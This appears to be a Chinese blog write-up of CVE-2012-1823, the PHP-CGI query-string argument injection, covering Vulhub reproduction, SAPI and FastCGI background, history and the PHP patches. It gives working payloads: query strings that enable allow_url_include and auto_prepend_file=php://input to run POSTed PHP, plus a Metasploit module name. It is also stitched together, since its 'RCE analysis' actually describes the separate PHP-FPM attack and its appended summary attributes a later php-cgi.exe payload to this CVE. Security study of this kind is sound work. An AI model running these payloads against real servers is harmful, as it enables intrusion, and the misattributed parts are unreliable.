CVE-2012-1823

CVE-2012-1823(PHP-CGI远程代码执行漏洞)

漏洞描述

本漏洞只出现在以cgi模式运行的php中。这个漏洞简单来说,就是用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。探究一下原理,RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能,用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。

影响版本

  • php < 5.3.12 or php < 5.4.2

环境配置

  • Vulhub项目
  • Docker-compose启动

漏洞复现

漏洞存在验证

PHP版本符合漏洞利用范围,当然这并不能说明有漏洞,必须还要是cgi模式运行

发现的确是以cgi模式运行的(vulhub自带了一个info.php)

POC:{URL}/?-{OPTIONS}

[!info]
cgi模式下有如下一些参数可用:

  • -c 指定php.ini文件的位置
  • -n 不要加载php.ini文件
  • -d 指定配置项
  • -b 启动fastcgi进程
  • -s 显示文件源码
  • -T 执行指定次该文件
  • -h和-? 显示帮助

文件包含

POC:
-d+allow_url_include%3don+-d+auto_prepend_file%3d{FILEPATH}
-d+allow_url_include%3don+-d+auto_append_file%3d{FILEPATH}

这里包含同目录的info.php

命令执行

POC:-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

【POST】
<?php {COMMAND}; ?>

[!warning]
空格用+%20代替,=用url编码代替

MSF利用

search cve:2012-1823
use exploit/multi/http/php_cgi_arg_injection

漏洞原理

PHP-sapi

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

SAPI 为 PHP 提供了一个和外部通信的接口, PHP 就是通过这个接口来与其它的应用进行数据交互的。

常见的有:apache、apache2filter、apache2handler、cli、cgi、embed 、fast-cgi、isapi


  • CLI 模式

CLI( Command Line Interface ),也就是命令行接口,PHP 默认会安装。通过这个接口,可以在 shell 环境下与 PHP 进行交互。


  • CGI 模式

CGI(Common Gateway Interface,通用网关接口)是一种重要的互联网技术,可以让一个客户端,从网页浏览器向执行在网络服务器上的程序请求数据。CGI 描述了服务器和请求处理程序之间传输数据的一种标准。

原理:当 Nginx 收到浏览器 /index.php 这个请求后,首先会创建一个对应实现了 CGI 协议的进程,这里就是 php-cgi(PHP 解析器)。接下来 php-cgi 会解析 php.ini 文件,初始化执行环境,然后处理请求,再以 CGI 规定的格式返回处理后的结果,退出进程。最后,Nginx 再把结果返回给浏览器。整个流程就是一个Fork-And-Execute 模式。

当用户请求数量非常多时,会大量挤占系统的资源如内存、CPU 时间等,造成效能低下。所以在用 CGI 方式的服务器下,有多少个连接请求就会有多少个 CGI 子进程,子进程反复加载是 CGI 性能低下的主要原因。


  • FastCGI 模式

FastCGI(Fast Common Gateway Interface,快速通用网关接口)是一种让交互程序与 Web 服务器通信的协议。FastCGI 是早期通用网关接口(CGI)的增强版本。 FastCGI 致力于减少网页服务器与 CGI 程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。

PHP-FPM(PHP-FastCGI Process Manager)是 PHP 语言中实现了 FastCGI 协议的进程管理器,由 AndreiNigmatulin 编写实现,已被 PHP 官方收录并集成到内核中。

FastCGI 模式的优点:

  • 从稳定性上看,FastCGI 模式是以独立的进程池来运行 CGI 协议程序,单独一个进程死掉,系统可以很轻易的丢弃,然后重新分配新的进程来运行逻辑;
  • 从安全性上看,FastCGI 模式支持分布式运算。FastCGI 程序和宿主的 Server 完全独立,FastCGI 程序挂了也不影响 Server;
  • 从性能上看,FastCGI 模式把动态逻辑的处理从 Server 中分离出来,大负荷的 I O处理还是留给宿主 Server,这样宿主 Server 可以一心一意处理 IO,对于一个普通的动态网页来说, 逻辑处理可能只有一小部分,大量的是图片等静态。

  • Module 模式

PHP 常常与 Apache 服务器搭配形成 LAMP 配套的运行环境。把 PHP 作为一个子模块集成到 Apache 中,就是 Module 模式


  • ISAPI 模式

SAPI(Internet Server Application Program Interface)是微软提供的一套面向 Internet 服务的 API 接口,一个 ISAPI 的 DLL,可以在被用户请求激活后长驻内存,等待用户的另一个请求,还可以在一个 DL L里设置多个用户请求处理函数,此外,ISAPI 的 DLL 应用程序和 WEB 服务器处于同一个进程中,效率要显著高于CGI。由于微软的排他性,只能运行于 Windows 环境。

FastCgi

Fastcgi Record

Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。

HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。

类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。

和HTTP头不同,record的头固定8个字节,body是由头中的contentLength指定,其结构如下:

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

头由8个uchar类型的变量组成,每个变量1字节。其中,requestId占两个字节,一个唯一的标志id,以避免多个请求之间的影响;contentLength占两个字节,表示body的大小。

语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体。

Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。

可见,一个fastcgi record结构最大支持的body大小是2^16,也就是65536字节。

Fastcgi Type

刚才我介绍了fastcgi一个record中各个结构的含义,其中第二个字节type我没详说。

type就是指定该record的作用。因为fastcgi一个record的大小是有限的,作用也是单一的,所以我们需要在一个TCP流里传输多个record。通过type来标志每个record的作用,用requestId作为同一次请求的id。

也就是说,每次请求,会有多个record,他们的requestId是相同的。

列出最主要的几种type

14931267923354.jpg

看了这个表格就很清楚了,服务器中间件和后端语言通信,第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record。

当后端语言接收到一个type为4的record后,就会把这个record的body按照对应的结构解析成key-value对,这就是环境变量。环境变量的结构如下:

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

这其实是4个结构,至于用哪个结构,有如下规则:

  1. key、value均小于128字节,用FCGI_NameValuePair11
  2. key大于128字节,value小于128字节,用FCGI_NameValuePair41
  3. key小于128字节,value大于128字节,用FCGI_NameValuePair14
  4. key、value均大于128字节,用FCGI_NameValuePair44

为什么我只介绍type为4的record?因为环境变量在后面PHP-FPM里有重要作用,之后写代码也会写到这个结构。type的其他情况,大家可以自己翻文档理解理解。

PHP-FPM(FastCGI进程管理器)

[!question]
那么,PHP-FPM又是什么东西?

FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM。

FPM按照fastcgi的协议将TCP流解析成真正的数据。

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。

PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

RFC

RFC(Request For Comments)-意即“请求注解”,包含了关于Internet的几乎所有重要的文字资料。如果你想成为网络方面的专家,那么RFC无疑是最重要也是 最经常需要用到的资料之一,所以RFC享有网络知识圣经之美誉。

通常,当某家机构或团体开发出了一套标准或提出对某种标准的设想,想要征询外界的意见时, 就会在Internet上发放一份RFC,对这一问题感兴趣的人可以阅读该RFC并提出自己的意见;

绝大部分网络标准的指定都是以RFC的形式开始,经过大量的论证和修改过程,由主要的标准化组织所指定的,但在RFC中所收录的文件并不都是正在使用或为大家所公认的,也有很大一部分只在某个局部领域被使用或并没有被采用,一份RFC具体处于什么状态都在文件中作了明确的标识。

RFCs

RFC中文文档

原理分析

历史成因

CVE-2012-1823就是php-cgi这个sapi出现的漏洞,我上面介绍了php-cgi提供的两种运行方式:cgi和fastcgi,本漏洞只出现在以cgi模式运行的php中。

这个漏洞简单来说,就是用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。

探究一下原理,RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能。

但PHP并没有注意到RFC的这一个规则,也许是曾经注意并处理了,处理方法就是web上下文中不允许传入参数。但在2004年的时候某个开发者发表过这么一段言论:

From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)

In our SAPI cgi we have a check along these lines:

    if (getenv("SERVER_SOFTWARE")
        || getenv("SERVER_NAME")
        || getenv("GATEWAY_INTERFACE")
        || getenv("REQUEST_METHOD")) {
        cgi = 1;
    }

    if(!cgi) getopt(...)

As in, we do not parse command line args for the cgi binary if we are 
running in a web context.  At the same time our regression testing system 
tries to use the cgi binary and it sets these variables in order to 
properly test GET/POST requests.  From the regression testing system we 
use -d extensively to override ini settings to make sure our test 
environment is sane.  Of course these two ideas conflict, so currently our 
regression testing is somewhat broken.  We haven't noticed because we 
don't have many tests that have GET/POST data and we rarely build the cgi 
binary.

The point of the question here is if anybody remembers why we decided not 
to parse command line args for the cgi version?  I could easily see it 
being useful to be able to write a cgi script like:

  #!/usr/local/bin/php-cgi -d include_path=/path
  <?php
      ...
  ?>

and have it work both from the command line and from a web context.

As far as I can tell this wouldn't conflict with anything, but somebody at 
some point must have had a reason for disallowing this.

-Rasmus

显然,这位开发者是为了方便使用类似#!/usr/local/bin/php-cgi -d include_path=/path的写法来进行测试,认为不应该限制php-cgi接受命令行参数,而且这个功能不和其他代码有任何冲突。

于是,if(!cgi) getopt(...)被删掉了。

但显然,根据RFC中对于command line的说明,命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,更可以通过querystring的方式传入。

RFC3875

关于RCE的分析

[!question]
那么,为什么我们控制fastcgi协议通信的内容,就能执行任意PHP代码呢?

理论上当然是不可以的,即使我们能控制SCRIPT_FILENAME,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。

但PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_fileauto_append_file

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

那么就有趣了,假设我们设置auto_prepend_filephp://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include

那么,我们怎么设置auto_prepend_file的值?

这又涉及到PHP-FPM的两个环境变量,PHP_VALUEPHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USERPHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

所以,我们最后传入如下环境变量:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

设置auto_prepend_file = php://inputallow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码。

修复建议

这个漏洞被爆出来以后,PHP官方对其进行了修补,发布了新版本5.4.2及5.3.12,但这个修复是不完全的,可以被绕过,进而衍生出CVE-2012-2311漏洞。

PHP的修复方法是对-进行了检查:

if(query_string = getenv("QUERY_STRING")) {
    decoded_query_string = strdup(query_string);
    php_url_decode(decoded_query_string, strlen(decoded_query_string));
    if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
        skip_getopt = 1;
    }
    free(decoded_query_string);
}

可见,获取querystring后进行解码,如果第一个字符是-则设置skip_getopt,也就是不要获取命令行参数。

这个修复方法不安全的地方在于,如果运维对php-cgi进行了一层封装的情况下:

#!/bin/sh

exec /usr/local/bin/php-cgi $*

通过使用空白符加-的方式,也能传入参数。这时候querystring的第一个字符就是空白符而不是-了,绕过了上述检查。

于是,php5.4.3和php5.3.13中继续进行修改:

if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
    /* we've got query string that has no = - apache CGI will pass it to command line */
    unsigned char *p;
    decoded_query_string = strdup(query_string);
    php_url_decode(decoded_query_string, strlen(decoded_query_string));
    for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
        /* skip all leading spaces */
    }
    if(*p == '-') {
        skip_getopt = 1;
    }
    free(decoded_query_string);
}

先跳过所有空白符(小于等于空格的所有字符),再判断第一个字符是否是-

### Apache 和 PHP-CGI 存在的安全漏洞详情 #### CVE-2012-1823 漏洞概述 CVE-2012-1823 是一个存在于 PHP 的 CGI SAPI 中的远程代码执行 (RCE) 漏洞。此漏洞仅影响以 CGI 模式运行的 PHP 版本,而不影响 FastCGI 模式下的 PHP 运行实例[^1]。 当 Web 服务器(如 Apache)接收到特定构造的 URL 请求时,PHP 解析器可能会错误处理这些请求中的参数,从而允许攻击者通过精心设计的查询字符串注入并执行任意 PHP 代码。这种行为使得攻击者能够在目标服务器上获得未授权访问权限,进而可能完全控制受影响的应用程序甚至整个操作系统环境。 #### 影响范围与危害程度 该漏洞主要影响使用 PHP-CGI 接口作为其解析引擎配置项之一的服务端部署架构;特别是那些启用了 `cgi.fix_pathinfo` 配置选项的情况更为严重。对于采用 XAMPP 等集成开发平台,默认情况下如果开启了 PHP-CGI 支持,则也可能受到这一问题的影响[^4]。 #### 利用方式示例 攻击者可以通过发送如下形式的数据包来尝试触发漏洞: ```http POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1 Host: PhpVulnEnv REDIRECT_STATUS: XCANWIN <?php die("Te"."sT");?> ``` 这段恶意负载试图修改 PHP 的内部设置以启用危险的功能,并强制加载来自外部源的内容,在某些条件下可以实现命令注入的效果[^3]。 ### 如何修复此类安全风险 为了防止上述类型的攻击发生,建议采取以下措施: - **升级版本**:确保使用的 PHP 软件是最新的稳定版,官方已经针对已知的安全隐患发布了补丁。 - **禁用不必要的模块和服务**:关闭任何不必要或很少使用的功能特性,比如这里提到的 CGI 方式的支持,转而推荐更安全高效的替代方案——FastCGI 或 mod_php- **调整配置文件**:编辑 php.ini 文件并将 `cgi.fix_pathinfo=0` 设置为零值,这有助于减少潜在路径遍历的风险。 - **强化Web应用防火墙(WAF)**:部署有效的 WAF 可以为网站提供额外一层防护屏障,帮助识别和阻止异常流量模式以及常见的攻击向量。 - **定期审查日志记录**:保持良好的监控习惯,及时发现可疑活动迹象以便快速响应处置。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值